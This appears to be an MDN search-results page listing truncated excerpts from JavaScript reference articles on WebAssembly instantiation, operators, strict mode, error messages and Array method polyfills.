JavaScript InterfaceThe definition of 'Table' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser...
WebAssembly.instantiate() - JavaScript
embly.LinkError, or WebAssembly.RuntimeError, depending on the cause of the failure. Examples Note: You'll probably want to use WebAssembly.instantiateStreaming() in most cases, as it is more efficient than instantiate(). First overload example After fetching some WebAssembly bytecode using fetch, we compile and instantiate the module using the WebAssembly.instantiate() function, importing a
JavaScript function into the WebAssembly Module in the process. We then call an Exported WebAssembly function that is exported by the Instance. var importObject = { imports: { imported_func: function(arg) { console.log(arg); } } }; fetch('simple.wasm').then(response => response.arrayBuffer() ).then(bytes => WebAssembly.instantiate(bytes, importObject) ).then(result => result.instan...
...inside it. var importObject = { imports: { imported_func: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; WebAssembly.instantiate(mod, importObject).then(function(instance) { instance.exports.exported_func(); }); }; Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'instantiate()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFire...
Standard built-in objects - JavaScript
This chapter documents all of
JavaScript's standard, built-in objects, including their methods and properties. The term "global objects" (or standard built-in objects) here is not to be confused with the global object. Here, "global objects" refer to objects in the global scope. The global object itself can be accessed using the this operator in the global scope. In fact, the global scope consists of the properties of the global object, including inherited properties, if any. Other objects in the global scope are either created by the user script or provided by the host application. The host objects available in browser contexts are documented in the API reference. For more information about the distinction between the DOM and core
JavaScript, see
JavaScript technologies overview. Standard obj...
...Array Uint32Array Float32Array Float64Array BigInt64Array BigUint64Array Keyed collections These objects represent collections which use keys. The iterable collections (Map and Set) contain elements which are easily iterated in the order of insertion. Map Set WeakMap WeakSet Structured data These objects represent and interact with structured data buffers and data coded using
JavaScript Object Notation (JSON). ArrayBuffer SharedArrayBuffer Atomics DataView JSON Control abstraction objects Control abstractions can help to structure code, especially async code (without using deeply nested callbacks, for example). Promise Generator GeneratorFunction AsyncFunction Reflection Reflect Proxy Internationalization Additions to the ECMAScript core for language-s...
Iteration protocols - JavaScript
As a couple of additions to ECMAScript 2015, Iteration protocols aren't new built-ins or syntax, but protocols. These protocols can be implemented by any object by simply following some conventions. There are two protocols: The iterable protocol and the iterator protocol. The iterable protocol The iterable protocol allows
JavaScript objects to define or customize their iteration behavior, such as what values are looped over in a for...of construct. Some built-in types are built-in iterables with a default iteration behavior, such as Array or Map, while other types (such as Object) are not. In order to be iterable, an object must implement the @@iterator method, meaning that the object (or one of the objects up its prototype chain) must have a property with a @@iterator key which is available vi...
...with at least the following two properties: done (boolean) Has the value false if the iterator was able to produce the next value in the sequence. (This is equivalent to not specifying the done property altogether.) Has the value true if the iterator has completed its sequence. In this case, value optionally specifies the return value of the iterator. value Any
JavaScript value returned by the iterator. Can be omitted when done is true. The next() method must always return an object with appropriate properties including done and value. If a non-object value gets returned (such as false or undefined), a TypeError ("iterator.next() returned a non-object value") will be thrown. Note: It is not possible to know reflectively whether a particular obj...
Exponentiation (**) - JavaScript
-associative: a ** b ** c is equal to a ** (b ** c). In most languages, such as PHP, Python, and others that have an exponentiation operator (**), the exponentiation operator is defined to have a higher precedence than unary operators, such as unary + and unary -, but there are a few exceptions. For example, in Bash, the ** operator is defined to have a lower precedence than unary operators. In
JavaScript, it is impossible to write an ambiguous exponentiation expression. That is, you cannot put a unary operator (+/-/~/!/delete/void/typeof) immediately before the base number; doing so will cause a SyntaxError. -2 ** 2; // 4 in Bash, -4 in other languages. // This is invalid in
JavaScript, as the operation is ambiguous. -(2 ** 2); // -4 in
JavaScript and the author's intention is unambiguous. N...
...nnot put a unary operator (+/-/~/!/delete/void/typeof) immediately before the base number; doing so will cause a SyntaxError. -2 ** 2; // 4 in Bash, -4 in other languages. // This is invalid in
JavaScript, as the operation is ambiguous. -(2 ** 2); // -4 in
JavaScript and the author's intention is unambiguous. Note that some programming languages use the caret symbol ^ for exponentiation, but
JavaScript uses that symbol for the bitwise logical XOR operator. Examples Basic exponentiation 2 ** 3 // 8 3 ** 2 // 9 3 ** 2.5 // 15.588457268119896 10 ** -1 // 0.1 NaN ** 2 // NaN Associativity 2 ** 3 ** 2 // 512 2 ** (3 ** 2) // 512 (2 ** 3) ** 2 // 64 Usage with unary operators To invert the sign of the result of an exponentiation expression: -(2 ** 2) // -4 To force the base of an exp...
this - JavaScript
It also has some differences between strict mode and non-strict mode. In most cases, the value of this is determined by how a function is called (runtime binding). It can't be set by assignment during execution, and it may be different each time the function is called. ES5 introduced the bind() method to set the value of a function's this regardless of how it's called, and ES2015 introduced arrow functions which don't provide their own this binding (it retains the this value of the enclosing lexical context). The source for this interactive example is stored in a GitHub repository. ...
...igned to the variable p doesn't have its own f property, it inherits it from its prototype. But it doesn't matter that the lookup for f eventually finds a member with that name on o; the lookup began as a reference to p.f, so this inside the function takes the value of the object referred to as p. That is, since f is called as a method of p, its this refers to p. This is an interesting feature of
JavaScript's prototype inheritance. this with a getter or setter Again, the same notion holds true when a function is invoked from a getter or a setter. A function used as getter or setter has its this bound to the object from which the property is being set or gotten. function sum() { return this.a + this.b + this.c; } var o = { a: 1, b: 2, c: 3, get average() { return (this.a + this.b + ...
void operator - JavaScript
efined Examples Immediately Invoked Function Expressions When using an immediately-invoked function expression, void can be used to force the function keyword to be treated as an expression instead of a declaration. void function iife() { console.log("Executed!"); }(); // Output: "Executed!" Executing the above function without the void keyword will result in an Uncaught SyntaxError.
JavaScript URIs When a browser follows a
javascript: URI, it evaluates the code in the URI and then replaces the contents of the page with the returned value, unless the returned value is undefined. The void operator can be used to return undefined. For example: <a href="
javascript:void(0);"> Click here to do nothing </a> <a href="
javascript:void(document.body.style.backgroundColor='green');"> Click ...
...pt: URI, it evaluates the code in the URI and then replaces the contents of the page with the returned value, unless the returned value is undefined. The void operator can be used to return undefined. For example: <a href="
javascript:void(0);"> Click here to do nothing </a> <a href="
javascript:void(document.body.style.backgroundColor='green');"> Click here for green background </a> Note:
javascript: pseudo protocol is discouraged over other alternatives, such as unobtrusive event handlers. Non-leaking Arrow Functions Arrow functions introduce a short-hand braceless syntax that returns an expression. This can cause unintended side effects by returning the result of a function call that previously returned nothing. To be safe, when the return value of a function is not intended to be used,...
Expressions and operators - JavaScript
this The this keyword refers to a special property of an execution context. function The function keyword defines a function expression. class The class keyword defines a class expression. function* The function* keyword defines a generator function expression. yield Pause and resume a generator function. yield* Delegate to another generator function or iterable object. async function The async function defines an async function expression. ...
...perator. != Inequality operator. === Identity operator. !== Nonidentity operator. Bitwise shift operators Operations to shift all bits of the operand. << Bitwise left shift operator. >> Bitwise right shift operator. >>> Bitwise unsigned right shift operator. Binary bitwise operators Bitwise operators treat their operands as a set of 32 bits (zeros and ones) and return standard
JavaScript numerical values. & Bitwise AND. | Bitwise OR. ^ Bitwise XOR. Binary logical operators Logical operators are typically used with boolean (logical) values, and when they are, they return a boolean value. && Logical AND. || Logical OR. Conditional (ternary) operator (condition ? ifTrue : ifFalse) The conditional operator returns one of two values based on the logical value ...
if...else - JavaScript
... }) to group those statements. To execute no statements, use an empty statement. statement2 Statement that is executed if condition is falsy and the else clause exists. Can be any statement, including block statements and further nested if statements. Description Multiple if...else statements can be nested to create an else if clause. Note that there is no elseif (in one word) keyword in
JavaScript. if (condition1) statement1 else if (condition2) statement2 else if (condition3) statement3 ... else statementN To see how this works, this is how it would look if the nesting were properly indented: if (condition1) statement1 else if (condition2) statement2 else if (condition3) ... To execute multiple statements within a clause, use a block statement ({ ... }) to grou...
...tring (""), and any object, including a Boolean object whose value is false, is considered truthy when used as the condition. For example: var b = new Boolean(false); if (b) // this condition is truthy Examples Using if...else if (cipher_char === from_char) { result = result + to_char; x++; } else { result = result + clear_char; } Using else if Note that there is no elseif syntax in
JavaScript. However, you can write it with a space between else and if: if (x > 50) { /* do something */ } else if (x > 5) { /* do something */ } else { /* do something */ } Assignment within the conditional expression It is advisable to not use simple assignments in a conditional expression, because the assignment can be confused with equality when glancing over the code. For example, do not use t...
import.meta - JavaScript
It contains information about the module, like the module's URL. Syntax import.meta Description The syntax consists of the keyword import, a dot, and the identifier meta. Normally the left-hand side of the dot is the object on which property access is performed, but here import is not really an object. The import.meta object is created by the ECMAScript implementation, with a null prototype. The object is extensible, and its properties are writable, configurable, and enumerable. ...
...he base URL of the module. This will either be the URL from which the script was obtained, for external scripts, or the document base URL of the containing document, for inline scripts. Note that this will include query parameters and/or hash (i.e., following the ? or #). ...
label - JavaScript
can refer to. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Note: Labeled loops or blocks are very uncommon. Usually function calls can be used instead of loop jumps. ...
...tored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Note: Labeled loops or blocks are very uncommon. Usually function calls can be used instead of loop jumps. Syntax label : statement label Any
JavaScript identifier that is not a reserved word. statement A
JavaScript statement. break can be used with any labeled statement, and continue can be used with looping labeled statements. Description You can use a label to identify a loop, and then use the break or continue statements to indicate whether a program should interrupt the loop or continue its execution. Note that
JavaScript has no goto statement, you can only use labels with break or continue. In str...
var - JavaScript
part of the global lexical environment). The list of names in [[VarNames]] enables the runtime to distinguish between global variables and straightforward properties on the global object. The property created on the global object for global variables, is set to be non-configurable because the identifier is to be treated as a variable, rather than a straightforward property of the global object.
JavaScript has automatic memory management, and it would make no sense to be able to use the delete operator on a global variable. 'use strict'; var x = 1; globalThis.hasOwnProperty('x'); // true delete globalThis.x; // TypeError in strict mode. Fails silently otherwise. delete x; // SyntaxError in strict mode. Fails silently otherwise. Note that in both NodeJS CommonJS modules and native ECMAScript mod...
...to create a property named `foo` on the global object globalThis.hasOwnProperty('foo') // true In ECMAScript 5, this behavior was changed for strict mode. Assignment to an unqualified identifier in strict mode will result in a ReferenceError, to avoid the accidental creation of properties on the global object. Note that the implication of the above, is that, contrary to popular misinformation,
JavaScript does not have implicit or undeclared variables, it merely has a syntax that looks like it does. var hoisting Because variable declarations (and declarations in general) are processed before any code is executed, declaring a variable anywhere in the code is equivalent to declaring it at the top. This also means that a variable can appear to be used before it's declared. This behavior is called "...
Transitioning to strict mode - JavaScript
) {} } Obvious errors Declaring twice the same name for a property name in an object literal {a: 1, b: 3, a: 7} This is no longer the case in ECMAScript 2015 (bug 1041128). Declaring two function parameters with the same name function f(a, b, b) {} These errors are good, because they reveal plain errors or bad practices. They occur before the code is running. New runtime errors
JavaScript used to silently fail in contexts where what was done was an error. Strict mode throws in such cases. If your code base contains such cases, testing will be necessary to be sure nothing is broken. Once again, it can happen at the function granularity level. Setting a value to an undeclared variable function f(x) { 'use strict'; var a = 12; b = a + x * 35; // error! } f(42); This used to...
...apply, if the value was a primitive value, this one was boxed into an object (or the global object for undefined and null). In strict mode, the value is passed directly without conversion or replacement. arguments doesn't alias named function arguments In non-strict mode, modifying a value in the arguments object modifies the corresponding named argument. This made optimizations complicated for
JavaScript engine and made code harder to read/understand. In strict mode, the arguments object is created and initialized with the same values than the named arguments, but changes to either the arguments object or the named arguments aren't reflected in one another. Change to eval In strict mode code, eval doesn't create a new variable in the scope from which it was called. Also, of course, in strict mo...
JavaScript crypto - Archive of obsolete content
ility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. Warning: The features mentioned in this article are deleted proprietary Mozilla extensions, and are not supported in any other browser. They won't work in Firefox 34 or later. Use <keygen> or the future Web Crypto API instead. Using the Mozilla crypto object from
JavaScript Mozilla defines a special
JavaScript object to allow web pages access to certain cryptographic-related services. These services are a balance between the functionality web pages need and the requirement to protect users from malicious web sites. Most of these services are available via the DOM window object as window.crypto. Services are provided to enable: smart card events, generating certifi...
Using JavaScript Generators in Firefox - Archive of obsolete content
You can opt in in HTML as follows: <script type="text/
javascript;version=1.7" src="myScript.js"></script> Then your myScript.js file might look like this: // Need to stash the generator in a global variable. var generator; // Simple event listener function to pass the received event to the generator. ...
Microsoft JavaScript extensions - Archive of obsolete content
Warning: These APIs will only work in Microsoft applications, and are not on a standards track. Microsoft browsers (Internet Explorer, and in a few cases, Microsoft Edge) support a number of special Microsoft extensions to the otherwise standard
JavaScript APIs. Objects ActiveXObject Debug Enumerator VBArray Functions GetObject ScriptEngine ScriptEngineBuildVersion ScriptEngineMajorVersion ScriptEngineMinorVersion Statements @cc-on @if @set Other Date.getVarDate() Error.description Error.number Error.stackTraceLimit ...
New in JavaScript 1.5 - Archive of obsolete content
The following is a changelog for
JavaScript 1.5. This version was included in Netscape Navigator 6.0 was released on November 14, 2000 and was also used in later versions of Netscape Navigator and Firefox 1.0. You can compare
JavaScript 1.5 to JScript version 5.5 and Internet Explorer 5.5, which was released in July 2000. The corresponding ECMA standard is ECMA-262 Edition 3 (from December 1999). New features in
JavaScript 1.5 Number.prototype.toExponential() Number.prototype.toFixed() Number.prototype.toPrecision() const is now a reserved word. Multiple catch clauses in a try...catch statement are supported.
JavaScript authors can now add getters and setters to their objects. Changed functionality in
JavaScript 1.5 Runtime errors are now reported as exceptions. Regular Expression ch...
New in JavaScript 1.8.1 - Archive of obsolete content
The following is a changelog for
JavaScript 1.8.1. This version was included in Firefox 3.5.
JavaScript 1.8.1 is a modest update syntactically to
JavaScript; the main change in this release is the addition of the Tracemonkey just-in-time compiler, which improves performance. New features in
JavaScript 1.8.1 Object.getPrototypeOf() Support for native JSON String.prototype.trim() String.prototype.trimLeft() String.prototype.trimRight() Changed functionality in
JavaScript 1.8.1 Implicit setting of properties in object and array initializers no longer execute setters in
JavaScript. This makes the behavior of setting the values of properties more predictable. ...
Test your skills: Object-oriented JavaScript - Learn web development
The aim of this skill test is to assess whether you've understood our Object-oriented
JavaScript for beginners, Object prototypes, and Inheritance in
JavaScript articles. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's
JavaScript console, in the case of the downloadable version). OOJS 1 In this task we provide you with a constructor. We want you to: ...
JavaScript libraries from Mozilla projects
In addition to Firefox and other applications, Mozilla developers have created a number of useful
JavaScript libraries you can use in your projects. Documentation for these libraries can be found here. There are no subpages at this time. ...
JavaScript OS
platform and add-ons) to interact with the host operating system. At the time of this writing, some of the features of this module are available only to chrome workers. OS.Constants OS-related constants, including errors, file opening modes, system configuration, etc. OS.File Access to the native file system. OS.Shared Utilities for defining functions that interact with the operating system. ...
Using workers in JavaScript code modules
ker Obsolete since Gecko 8.0 (Firefox 8.0 / Thunderbird 8.0 / SeaMonkey 2.5)This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Note: As of Gecko 8.0, the nsIWorkerFactory interface has been removed Starting in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1), you can use workers in
JavaScript code modules (JSMs). This lets you run code in a separate thread from your JSM. To create a ChromeWorker for this purpose, you need to use the nsIWorkerFactory interface: var workerFactory = Components.classes['@mozilla.org/threads/workerfactory;1'] .createInstance(Components.interfaces.nsIWorkerFactory); var worker = workerFactory.newChromeWorker('script_url.js');...
javascript.options.showInConsole
Type:boolean Default value: false (true in debug builds) Exists by default: yes Application support:Firefox 1.0 Status: Active Introduction:2002-02-26 Bugs: bug 125181 bug 337875 Values false Only errors and warnings from content code are shown. true (default) Errors and warnings from both chrome and content are shown in the Error Console. ...
javascript.options.strict
JavaScript warnings are generated when code is executed that doesn't cause a run-time error, but is non-standard, poorly written, or prone to cause logic errors. This preference controls whether
JavaScript warnings are logged to the
JavaScript Console. Example : <html> <head> <title>Sample</title> </head> <body> <label id="name">Enter you First Name</label> <p id ="sample"></p> <script> "use strict" name1= "John" ; // This will cause and an error as variable not declared . var name2= "Peter"; document.getElementById("sample").innerHTML = name1; </script> </body> </html> Possible values and their effects: True: Show
JavaScript errors and warnings. False: Show
JavaScript errors only. (Default) See also: http://kb.mozillazine.org/
Javascript.options.strict ...
L20n Javascript API
You can listen to the ready event (emitted by the Context instance when all the resources have been compiled) and use ctx.getSync and ctx.getEntitySync to get translations synchronously. Alternatively, you can register callbacks to execute when the context is ready (or when globals change and translations need to be updated) with ctx.localize. ...
Running Automated JavaScript Tests
Most of the Spidermonkey shell jobs, labeled SM(...), will include JS shell runs of both jstests and jit-tests. Running jit-tests The jit-test suite uses a Python harness that is similar to the jstests shell harness, but with some minor differences. Basic usage is the same: jit_test.py PATH_TO_JS_SHELL Developers will usually want to run like this to skip the slow tests and cover t...
Places utilities for JavaScript
re we visit a URL, we will use TRANSITION_BOOKMARK as the transition for the visit to that URL (if we don't have a referrer). This is used when visiting pages from the bookmarks menu, personal toolbar, and bookmarks from within the places organizer. If we don't call this, we'll treat those visits as TRANSITION_LINK. markPageAsFollowedBookmark(string aURL) checkURLSecurity() Allows opening of
javascript/data URI only if the given node is bookmarked (see bug 224521). checkURLSecurity(aURINode) Parameters aURINode a URI node Return type Return true if it's safe to open the node in the browser, false otherwise. getQueryStringForFolder() Helper for getting a serialized Places query for a particular folder. getQueryStringForFolder(int aFolderId) Parameters aFolderId The folder id...
The Firefox JavaScript Debugger - Firefox Developer Tools
You can use it to debug code running locally in Firefox or running remotely, for example on an Android device running Firefox for Android. See remote debugging to learn how to connect the debugger to a remote target. To find your way around the debugger, here's a quick tour of the UI. How to To find out what you can do with the debugger, refer to the following how-to guides. Open the debugger Pretty-print a minified file Search Use a source map Pause execution You probably want to pause the execution of your code, in order to see what is going on at various points. ...
Warning: unreachable code after return statement - JavaScript
Message Warning: unreachable code after return statement (Firefox) Error type Warning What went wrong? Unreachable code after a return statement might occur in these situations: When using an expression after a return statement, or when using a semicolon-less return statement but including an expression directly after. When an expression exists after a valid return statement, a warning is given to indicate that the code after the return statement is unreachable, meaning it can never be run. ...
SyntaxError: "use strict" not allowed in function with non-simple parameters - JavaScript
Message Edge: Cannot apply strict mode on functions with non-simple parameter list Firefox: SyntaxError: "use strict" not allowed in function with default parameter SyntaxError: "use strict" not allowed in function with rest parameter SyntaxError: "use strict" not allowed in function with destructuring parameter Chrome: SyntaxError: Illegal 'use strict' directive in function with non-simple parameter list Error type SyntaxError. ...
TypeError: invalid arguments - JavaScript
Message TypeError: invalid arguments (Firefox) Error type TypeError What went wrong? Typed array constructors require either a length, another typed array, array-like objects, iterable objects or an ArrayBuffer object to create a new typed array. Other constructor arguments will not create a valid typed array. Examples No strings in typed arrays Typed arrays, for example a Uint8Array, can't be constructed from a string. In fact, strings can't be in typed arrays at all. ...
ReferenceError: assignment to undeclared variable "x" - JavaScript
The
JavaScript strict mode-only exception "Assignment to undeclated variable" occurs when the value has been assigned to an undeclared variable. Message ReferenceError: assignment to undeclared variable "x" (Firefox) ReferenceError: "x" is not defined (Chrome) ReferenceError: Variable undefined in strict mode (Edge) Error type ReferenceError warning in strict mode only. What went wrong? A value has been assigned to an undeclared variable. In other words, there was an assignment without the var keyword. There are some differences between declared and undeclared variables, which might lead to unexpected results and that's why
JavaScript presents an error in strict mode. Three things to note about declared and undeclared variables: Declared variables are constrained in the execution context...
ReferenceError: reference to undefined property "x" - JavaScript
Message ReferenceError: reference to undefined property "x" (Firefox) Error type (Firefox only) ReferenceError warning which is reported only if
javascript.options.strict preference is set to true. What went wrong? The script attempted to access an object property which doesn't exist. There are two ways to access properties; see the property accessors reference page to learn more about them. Examples Invalid cases In this case, the property bar is an undefined property, so a ReferenceError will occur. ...
SyntaxError: Unexpected token - JavaScript
This might be a simple typo. Message SyntaxError: expected expression, got "x" SyntaxError: expected property name, got "x" SyntaxError: expected target, got "x" SyntaxError: expected rest argument name, got "x" SyntaxError: expected closing parenthesis, got "x" SyntaxError: expected '=>' after argument list, got "x" Error type SyntaxError What went wrong? A specific language construct was expected, but something else was provided. This might be a simple typo. Examples Expression expected For example, when chaining expressions, trailing commas are not allowed. ...
TypeError: "x" is (not) "y" - JavaScript
Oftentimes, unexpected undefined or null values. Message TypeError: Unable to get property {x} of undefined or null reference (Edge) TypeError: "x" is (not) "y" (Firefox) Examples: TypeError: "x" is undefined TypeError: "x" is null TypeError: "undefined" is not an object TypeError: "x" is not an object or null TypeError: "x" is not a symbol Error type TypeError. What went wrong? There was an unexpected type. This occurs oftentimes with undefined or null values. Also, certain methods, such as Object.create() or Symbol.keyFor(), require a specific type, that must be provided. ...
SyntaxError: function statement requires a name - JavaScript
Message Syntax Error: Expected identifier (Edge) SyntaxError: function statement requires a name [Firefox] SyntaxError: Unexpected token ( [Chrome] Error type SyntaxError What went wrong? There is a function statement in the code that requires a name. You'll need to check how functions are defined and if you need to provide a name for it, or if the function in question needs to be a function expression, an IIFE, or if the function code is placed correctly in this context at all. ...
TypeError: cannot use 'in' operator to search for 'x' in 'y' - JavaScript
It can only be used to check if a property is in an object. Message TypeError: Invalid operand to 'in' (Edge) TypeError: right-hand side of 'in' should be an object, got 'x' (Firefox) TypeError: cannot use 'in' operator to search for 'x' in 'y' (Firefox, Chrome) Error type TypeError What went wrong? The in operator can only be used to check if a property is in an object. You can't search in strings, or in numbers, or other primitive types. Examples Searching in strings Unlike in other programming languages (e.g. Python), you can't search in strings using the in operator. ...
TypeError: invalid 'instanceof' operand 'x' - JavaScript
an object which has a prototype property and is callable. Message TypeError: invalid 'instanceof' operand "x" (Firefox) TypeError: "x" is not a function (Firefox) TypeError: Right-hand side of 'instanceof' is not an object (Chrome) TypeError: Right-hand side of 'instanceof' is not callable (Chrome) Error type TypeError What went wrong? The instanceof operator expects the right hand side operands to be a constructor object, i.e. an object which has a prototype property and is callable. ...
TypeError: 'x' is not iterable - JavaScript
The
JavaScript exception "is not iterable" occurs when the value which is given as the right hand-side of for...of or as argument of a function such as Promise.all or TypedArray.from, is not an iterable object. Message TypeError: 'x' is not iterable (Firefox, Chrome) TypeError: 'x' is not a function or its return value is not iterable (Chrome) Error type TypeError What went wrong? The value which is given as the right hand-side of for...of or as argument of a function such as Promise.all or TypedArray.from, is not an iterable object. An iterable can be a built-in iterable type such as Array, String or Map, a generator result, or an object implementing the iterable protocol. Examples Iterating over Object properties In
JavaScript, Objects are not iterable unless they implement the iterabl...
Default parameters - JavaScript
fault values if no value or undefined is passed. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax function [name]([param1[ = defaultValue1 ][, ..., paramN[ = defaultValueN ]]]) { statements } Description In
JavaScript, function parameters default to undefined. However, it's often useful to set a different default value. This is where default parameters can help. In the past, the general strategy for setting defaults was to test parameter values in the function body and assign a value if they are undefined. In the following example, if no value is provided for b when multiply is called, b's value would be und...
getter - JavaScript
erty to bind to the given function. expression Starting with ECMAScript 2015, you can also use expressions for a computed property name to bind to the given function. Description Sometimes it is desirable to allow access to a property that returns a dynamically computed value, or you may want to reflect the status of an internal variable without requiring the use of explicit method calls. In
JavaScript, this can be accomplished with the use of a getter. It is not possible to simultaneously have a getter bound to a property and have that property actually hold a value, although it is possible to use a getter and a setter in conjunction to create a type of pseudo-property. Note the following when working with the get syntax: It can have an identifier which is either a number or a string; It...
Rest parameters - JavaScript
example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax function f(a, b, ...theArgs) { // ... } Description A function's last parameter can be prefixed with ... which will cause all remaining (user supplied) arguments to be placed within a "standard"
JavaScript array. Only the last parameter can be a "rest parameter". function myFun(a, b, ...manyMoreArgs) { console.log("a", a) console.log("b", b) console.log("manyMoreArgs", manyMoreArgs) } myFun("one", "two", "three", "four", "five", "six") // Console Output: // a, one // b, two // manyMoreArgs, [three, four, five, six] Difference between rest parameters and the arguments object There are t...
setter - JavaScript
a pull request. Syntax {set prop(val) { . . . }} {set [expression](val) { . . . }} Parameters prop The name of the property to bind to the given function. val An alias for the variable that holds the value attempted to be assigned to prop. expression Starting with ECMAScript 2015, you can also use expressions for a computed property name to bind to the given function. Description In
JavaScript, a setter can be used to execute a function whenever a specified property is attempted to be changed. Setters are most often used in conjunction with getters to create a type of pseudo-property. It is not possible to simultaneously have a setter on a property that holds an actual value. Note the following when working with the set syntax: It can have an identifier which is either a number or...
Array.prototype[@@iterator]() - JavaScript
te over a sequence of values. The initial value of the @@iterator property is the same function object as the initial value of the values() property. Syntax arr[Symbol.iterator]() Return value The initial value given by the values() iterator. By default, using arr[Symbol.iterator] will return the values() function. ...
Array.prototype.reduce() - JavaScript
(O, Pk). // ii. Let accumulator be ? Call( // callbackfn, undefined, // << accumulator, kValue, k, O >>). if (k in o) { value = callback(value, o[k], k, o); } // d. Increase k by 1. k++; } // 9. Return accumulator. return value; } }); } Caution: If you need to support truly obsolete
JavaScript engines that do not support Object.defineProperty(), it is best not to polyfill Array.prototype methods at all, as you cannot make them non-enumerable. Examples Sum all the values of an array let sum = [0, 1, 2, 3].reduce(function (accumulator, currentValue) { return accumulator + currentValue }, 0) // sum is 6 Alternatively written with an arrow function: let total = [ 0, 1, 2, 3 ].red...
Array.prototype.fill() - JavaScript
rguments[2]; var relativeEnd = end === undefined ? len : end >> 0; // Step 11. var finalValue = relativeEnd < 0 ? Math.max(len + relativeEnd, 0) : Math.min(relativeEnd, len); // Step 12. while (k < finalValue) { O[k] = value; k++; } // Step 13. return O; } }); } If you need to support truly obsolete
JavaScript engines that don't support Object.defineProperty, it's best not to polyfill Array.prototype methods at all, as you can't make them non-enumerable. Examples Using fill [1, 2, 3].fill(4) // [4, 4, 4] [1, 2, 3].fill(4, 1) // [1, 4, 4] [1, 2, 3].fill(4, 1, 2) // [1, 4, 3] [1, 2, 3].fill(4, 1, 1) // [1, 2, 3] [1, 2, 3].fill(4, 3, 3) // [1, 2, 3...
Array.prototype.findIndex() - JavaScript
oBoolean(? Call(predicate, T, << kValue, k, O >>)). // d. If testResult is true, return k. var kValue = o[k]; if (predicate.call(thisArg, kValue, k, o)) { return k; } // e. Increase k by 1. k++; } // 7. Return -1. return -1; }, configurable: true, writable: true }); } If you need to support truly obsolete
JavaScript engines that do not support Object.defineProperty, it is best not to polyfill Array.prototype methods at all, as you cannot make them non-enumerable. Examples Find the index of a prime number in an array The following example returns the index of the first element in the array that is a prime number, or -1 if there is no prime number. function isPrime(num) { for (let i = 2; num > i; i++) { ...
Array.isArray() - JavaScript
rray.isArray({foo: 123}); // false Array.isArray('foobar'); // false Array.isArray(undefined); // false Syntax Array.isArray(value) Parameters value The value to be checked. Return value true if the value is an Array; otherwise, false. Description If the value is an Array, true is returned; otherwise, false is. See the article "Determining with absolute accuracy whether or not a
JavaScript object is an array" for more details. Given a TypedArray instance, false is always returned. Polyfill Running the following code before any other code will create Array.isArray() if it's not natively available. if (!Array.isArray) { Array.isArray = function(arg) { return Object.prototype.toString.call(arg) === '[object Array]'; }; } Examples Using Array.isArray // all following ca...
Array.prototype.lastIndexOf() - JavaScript
If you intend to use this in real-world applications, you may be able to calculate from with less complicated code if you ignore those cases. Examples Using lastIndexOf The following example uses lastIndexOf to locate values in an array. var numbers = [2, 5, 9, 2]; numbers.lastIndexOf(2); // 3 numbers.lastIndexOf(7); //...
Array.prototype.push() - JavaScript
intentionally generic, and we can use that to our advantage. Array.prototype.push can work on an object just fine, as this example shows. Note that we don't create an array to store a collection of objects. Instead, we store the collection on the object itself and use call on Array.prototype.push to trick the method into thinking we are dealing with an array--and it just works, thanks to the way
JavaScript allows us to establish the execution context in any way we want. let obj = { length: 0, addElem: function addElem(elem) { // obj.length is automatically incremented // every time an element is added. [].push.call(this, elem) } } // Let's add some empty objects just to illustrate. obj.addElem({}) obj.addElem({}) console.log(obj.length) // -> 2 Note that alt...
Array.prototype.toLocaleString() - JavaScript
les, options >> // ) // ) r = nextElement == null ? '' : nextElement.toLocaleString(locales, options); // e. Let R be a String value produced by // concatenating S and R. r = s + r; // f. Increase k by 1. k++; } // 10. Return R. return r; } }); } If you need to support truly obsolete
JavaScript engines that don't support Object.defineProperty, it's best not to polyfill Array.prototype methods at all, as you can't make them non-enumerable. Examples Using locales and options The elements of the array are converted to strings using their toLocaleString methods. Object: Object.prototype.toLocaleString() Number: Number.prototype.toLocaleString() Date: Date.prototype.toLocaleString()...
Array.prototype.toSource() - JavaScript
epresenting the source code of the array. Description The toSource method returns the following values: For the built-in Array object, toSource returns the following string indicating that the source code is not available: function Array() { [native code] } For instances of Array, toSource returns a string representing the source code. This method is usually called internally by
JavaScript and not explicitly in code. You can call toSource while debugging to examine the contents of an array. Examples Examining the source code of an array To examine the source code of an array: var alpha = new Array('a', 'b', 'c'); alpha.toSource(); //returns ['a', 'b', 'c'] Specifications Not part of any standard. Implemented in
JavaScript 1.3. ...
Array.prototype.toString() - JavaScript
The toString() method returns a string representing the specified array and its elements. Syntax arr.toString() Return value A string representing the elements of the array. Description The Array object overrides the toString method of Object. For Array objects, the toString method joins the array and returns one string containing each array element separated by commas.
JavaScript calls the toString method automatically when an array is to be represented as a text value or when an array is referred to in a string concatenation. ECMAScript 5 semantics Starting in
JavaScript 1.8.5 (Firefox 4), and consistent with ECMAScript 5th edition semantics, the toString() method is generic and can be used with any object. Object.prototype.toString() will be called, and the resulting value will be ret...
AsyncFunction - JavaScript
The AsyncFunction constructor creates a new async function object. In
